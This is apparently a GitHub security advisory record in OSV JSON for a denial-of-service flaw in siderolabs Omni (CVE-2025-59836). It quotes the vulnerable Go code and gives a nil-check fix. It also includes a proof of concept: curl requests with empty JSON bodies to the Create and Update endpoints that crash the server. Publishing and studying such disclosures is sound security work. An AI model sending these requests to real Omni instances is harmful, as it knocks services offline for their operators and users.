{"schema_version":"1.7.3","id":"GHSA-4p3p-cr38-v5xp","published":"2025-10-13T19:59:17Z","modified":"2025-11-05T22:07:29Z","aliases":["CVE-2025-59836","GO-2025-4021"],"summary":"Omni is Vulnerable to DoS via Empty Create/Update Resource Requests","details":"## Summary\n\nA nil pointer dereference vulnerability in the Omni Resource Service allows unauthenticated users to cause a server panic and denial of service by sending empty create/update resource requests through the API endpoints.\n\n## Details\n\nThe vulnerability exists in the `isSensitiveSpec` function which calls `grpcomni.CreateResource` without checking if the resource's metadata field is nil. When a resource is created with an empty `Metadata` field, the `CreateResource` function attempts to access `resource.Metadata.Version` causing a segmentation fault.\n\n### Vulnerable Code\n\nThe `isSensitiveSpec` function in `/src/internal/backend/server.go`:\n\n```go\nfunc isSensitiveSpec(resource *resapi.Resource) bool {\n    res, err := grpcomni.CreateResource(resource)  // No nil check on resource.Metadata\n    if err != nil {\n        return false\n    }\n    // ... rest of function\n}\n```\n\nThe `CreateResource` function expects `resource.Metadata` to be non-nil:\n\n```go\nfunc CreateResource(resource *resources.Resource) (cosiresource.Resource, error) {\n    if resource.Metadata.Version == \"\" {  // PANIC: nil pointer dereference\n        resource.Metadata.Version = \"1\"\n    }\n    // ... rest of function\n}\n```\n\nThe `UpdateResource` function has the same issue - it also calls `CreateResource` internally and expects `resource.Metadata` to be non-nil:\n\n```go\nfunc (s *ResourceServer) Update(ctx context.Context, in *resapi.UpdateRequest) (*resapi.UpdateResponse, error) {\n    // ... validation code ...\n    obj, err := CreateResource(in.Resource)  // Same vulnerability here\n    if err != nil {\n        return nil, err\n    }\n    // ... rest of function\n}\n```\n\n### Affected Endpoints\n\n- `resourceServerCreate` - Create Resource API endpoint\n- `resourceServerUpdate` - Update Resource API endpoint\n\nBoth endpoints call `isSensitiveSpec` which triggers the vulnerability when processing empty resources.\n\n## PoC\n\nSend empty resource requests to the affected API endpoints:\n\n```bash\n# Create endpoint\ncurl -X POST \"https://your-omni-instance/api/omni.resources.ResourceService/Create\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{}'\n\n# Update endpoint  \ncurl -X POST \"https://your-omni-instance/api/omni.resources.ResourceService/Update\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{}'\n```\n\n**Expected Result**: Server panic with segmentation fault:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x293d970]\n\ngoroutine 3305 [running]:\ngithub.com/siderolabs/omni/internal/backend/grpc.CreateResource(0x3495420?)\n        /src/internal/backend/grpc/resource.go:364 +0x20\n```\n\n## Impact\n\n- **Vulnerability Type**: Denial of Service (DoS)\n- **Severity**: High - Complete API server crash requiring manual restart if no restart policy is applied.\n- **Authentication**: None required (unauthenticated)\n- **Complexity**: Low (simple HTTP request)\n\n## Mitigation\n\nAdd nil checks in the `isSensitiveSpec` function:\n\n```go\nfunc isSensitiveSpec(resource *resapi.Resource) bool {\n    if resource == nil || resource.Metadata == nil {\n        return false\n    }\n    res, err := grpcomni.CreateResource(resource)\n    if err != nil {\n        return false\n    }\n    // ... rest of function\n}\n```\n\n## Credits\n- @1c3t0rm\n- @nicomda","affected":[{"package":{"name":"github.com/siderolabs/omni","ecosystem":"Go","purl":"pkg:golang/github.com/siderolabs/omni"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.1.0-beta.0"},{"fixed":"1.1.5"}]}],"database_specific":{"last_known_affected_version_range":"<= 1.1.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-4p3p-cr38-v5xp/GHSA-4p3p-cr38-v5xp.json"}},{"package":{"name":"github.com/siderolabs/omni","ecosystem":"Go","purl":"pkg:golang/github.com/siderolabs/omni"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.2"}]}],"database_specific":{"last_known_affected_version_range":"<= 1.0.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-4p3p-cr38-v5xp/GHSA-4p3p-cr38-v5xp.json"}}],"references":[{"type":"WEB","url":"https://github.com/siderolabs/omni/security/advisories/GHSA-4p3p-cr38-v5xp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59836"},{"type":"WEB","url":"https://github.com/siderolabs/omni/commit/1396083f766a1b0380e9949968d7fc17b7afecaa"},{"type":"WEB","url":"https://github.com/siderolabs/omni/commit/1fd954af64985a8b3dbf5b11deddbf7cd953f5ae"},{"type":"PACKAGE","url":"https://github.com/siderolabs/omni"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2025-4021"}],"database_specific":{"cwe_ids":["CWE-476"],"github_reviewed":true,"github_reviewed_at":"2025-10-13T19:59:17Z","nvd_published_at":"2025-10-13T21:15:34Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}]}